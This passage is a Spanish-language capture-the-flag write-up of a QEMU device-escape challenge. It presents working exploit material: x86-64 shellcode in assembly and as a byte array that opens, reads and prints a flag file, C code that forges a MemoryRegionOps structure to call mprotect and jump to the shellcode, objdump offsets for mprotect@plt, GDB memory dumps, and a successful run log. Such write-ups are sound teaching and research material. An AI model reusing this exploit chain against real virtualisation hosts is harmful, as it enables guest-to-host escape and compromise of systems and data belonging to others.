La primera opción no es muy asequible aquí porque no hay gadgets buenos para hacer Stack Pivot, por lo que usaremos la segunda opción.
La clave aquí es poner mprotect
en la función de escritura, ya que tenemos capacidad de controlar $rdi
, $rsi
y $rdx
(los tres primeros argumentos de llamada a una función). Para poner $rdi
, tenemos que cambiar el valor de opaque
(que es el siguiente al puntero mmio->ops
). Luego, $rsi
es el valor de val
al ejecutar la escritura, y $rdx
es la dirección en la que se escribe.
Podríamos estar tentados a ejecutar system("/bin/sh")
, pero no se puede porque existen reglas seccomp
que lo bloquean.
Entonces, con esto podemos crear un shellcode como el siguiente (habría que modificarlo para la ejecución en remoto, ya que la flag se encuentra en /home/user/flag
):
pop rbx
xor rsi, rsi
xor rax, rax
push rsi
push rsi
mov rdi, 0x67616c66 # "flag" as hexadecimal number
push rdi
mov rdi, rsp
mov al, 2
syscall # int fd = open("flag", 0);
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall # read(fd, data, 0x64);
mov al, 1
mov rdi, rax
syscall # write(1, data, 0x64);
pop rax
pop rax
pop rax
push rbx
ret
Usando pwntools.asm
podemos obtener el shellcode como lista de bytes. Y ahora lo ponemos en el exploit, y ya de paso, lo copiamos en el buffer virtual en un offset arbitrario:
uint8_t shellcode[] = { 91, 72, 49, 246, 72, 49, 192, 86, 86, 72, 199, 199, 102, 108, 97, 103, 87, 72, 137, 231, 176, 2, 15, 5, 72, 199, 194, 100, 0, 0, 0, 72, 137, 230, 137, 199, 48, 192, 15, 5, 176, 1, 72, 137, 199, 15, 5, 88, 88, 88, 83, 195 };
memcpy(data + 0x80, shellcode, sizeof(shellcode));
Por otro lado, tenemos que sacar el offset de mprotect
en la PLT de qemu
para poder llamar a la función:
# objdump -M intel -d qemu-system-x86_64 | grep mprotect@plt
000000000031fff0 <mprotect@plt>:
424ed1: e8 1a b1 ef ff call 31fff0 <mprotect@plt>
424ee2: e8 09 b1 ef ff call 31fff0 <mprotect@plt>
8fa39e: e8 4d 5c a2 ff call 31fff0 <mprotect@plt>
900564: e8 87 fa a1 ff call 31fff0 <mprotect@plt>
9327b6: e8 35 d8 9e ff call 31fff0 <mprotect@plt>
Y así, tenemos la dirección de mprotect
:
uint64_t mprotect_plt_addr = qemu_base_addr + MPROTECT_PLT_OFFSET;
Lo último que queda es crear nuestra estructura MemoryRegionOps
falsa, modificar el puntero de mmio->ops
y poner el nuevo valor de opaque
:
data[QUEMEMU_MMIO_OPS_INDEX] = mmio_base_addr + (70 - QUEMEMU_MMIO_PARENT_OBJ_INDEX) * 8;
data[QUEMEMU_MMIO_OPAQUE_INDEX] = mmio_base_addr & ~0xfff;
data[70] = mmio_base_addr + (0x80 - QUEMEMU_MMIO_PARENT_OBJ_INDEX) * 8;
data[71] = mprotect_plt_addr;
set_buff();
Como puntos a destacar, la estructura falsa MemoryRegionOps
se ha puesto en el índice 70
. Esto es, la función de lectura en el índice 70
y la función de escritura en el índice 71
. Y como es de esperar, una contiene la dirección del shellcode y la otra tiene la dirección de mprotect
en la PLT, respectivamente.
Otro punto interesante es que la dirección que va en opaque
es la dirección base de la estructura mmio
, anulando los tres últimos dígitos hexadecimales para que sea una página de memoria válida.
Finalmente, nótese cómo la relación entre nuestros índices y los del dispositivo son relevantes para poner los valores justo donde queremos.
Una vez ejecutado set_buff
, la estructura debería haber cambiado. Podemos comprobarlo en GDB:
gef> x/50gx 0x56119210c4a0
0x56119210c4a0: 0x00005611911dfd90 0x0000000000000000
0x56119210c4b0: 0x000056119207df60 0x0000000000000001
0x56119210c4c0: 0x000056119210ba70 0x0000000000000001
0x56119210c4d0: 0x0000000000000000 0x0000000000000000
0x56119210c4e0: 0x000056119210ba70 0x000056119210ba70
0x56119210c4f0: 0x000056119210c5e0 0x000056119210c000
0x56119210c500: 0x00005611911b1ae0 0x0000000000000000
0x56119210c510: 0x0000000000010000 0x0000000000000000
0x56119210c520: 0x00000000febb0000 0x000056118eb94320
0x56119210c530: 0x0000000000000000 0x0000000000010001
0x56119210c540: 0x0000000000000000 0x0000000000000000
0x56119210c550: 0x0000000000000001 0x0000000000000000
0x56119210c560: 0x000056119210c558 0x00005611920db5e0
0x56119210c570: 0x00005611911b1b98 0x0000000000000000
0x56119210c580: 0x000056119210c578 0x00005611920d06a0
0x56119210c590: 0x0000000000000000 0x0000000000000000
0x56119210c5a0: 0x0000000000000000 0x0000000000000000
0x56119210c5b0: 0x0000000000000000 0x0000000000000000
0x56119210c5c0: 0x0000000000000000 0x0000000000000000
0x56119210c5d0: 0x0000000000000000 0x0000000000000000
0x56119210c5e0: 0x000056119210c7b0 0x000056118e7b6ff0
0x56119210c5f0: 0x0000000000000000 0x0000000000000000
0x56119210c600: 0x0000000000000000 0x0000000000000000
0x56119210c610: 0x0000000000000000 0x0000000000000000
0x56119210c620: 0x0000000000000000 0x0000000000000000
gef> x/2gx 0x000056119210c5e0
0x56119210c5e0: 0x000056119210c7b0 0x000056118e7b6ff0
gef> x/8gx 0x000056119210c7b0
0x56119210c7b0: 0x56c03148f631485b 0x67616c66c7c74856
0x56119210c7c0: 0x050f02b0e7894857 0x4800000064c2c748
0x56119210c7d0: 0x050fc030c789e689 0x58050fc7894801b0
0x56119210c7e0: 0x00000000c3535858 0x0000000000000000
gef> x/23i 0x000056119210c7b0
0x56119210c7b0: pop rbx
0x56119210c7b1: xor rsi,rsi
0x56119210c7b4: xor rax,rax
0x56119210c7b7: push rsi
0x56119210c7b8: push rsi
0x56119210c7b9: mov rdi,0x67616c66
0x56119210c7c0: push rdi
0x56119210c7c1: mov rdi,rsp
0x56119210c7c4: mov al,0x2
0x56119210c7c6: syscall
0x56119210c7c8: mov rdx,0x64
0x56119210c7cf: mov rsi,rsp
0x56119210c7d2: mov edi,eax
0x56119210c7d4: xor al,al
0x56119210c7d6: syscall
0x56119210c7d8: mov al,0x1
0x56119210c7da: mov rdi,rax
0x56119210c7dd: syscall
0x56119210c7df: pop rax
0x56119210c7e0: pop rax
0x56119210c7e1: pop rax
0x56119210c7e2: push rbx
0x56119210c7e3: ret
Y ya lo tenemos todo listo, solo falta llamar a mprotect
con mmio_write
y luego ejecutar el shellcode con mmio_read
:
mmio_write(0x2000, 07);
mmio_read(0);
Flag
Y así, conseguimos un exploit que nos saca la flag y retorna correctamente del programa:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7fdbbf2eb000
[*] buff physical address = 0xafe4000
[*] base ==> 20
[*] off ==> 0x7fff
[+] base ==> 21
[*] off ==> 0x6f6b
[+] base ==> 16
[+] off ==> 0xfe00
[+] qemu base address: 0x55f4968ce000
[+] mmio base address: 0x55f49a0e74a0
flag{fake_flag_4_testing}
El exploit completo se puede encontrar aquí: exploit.c.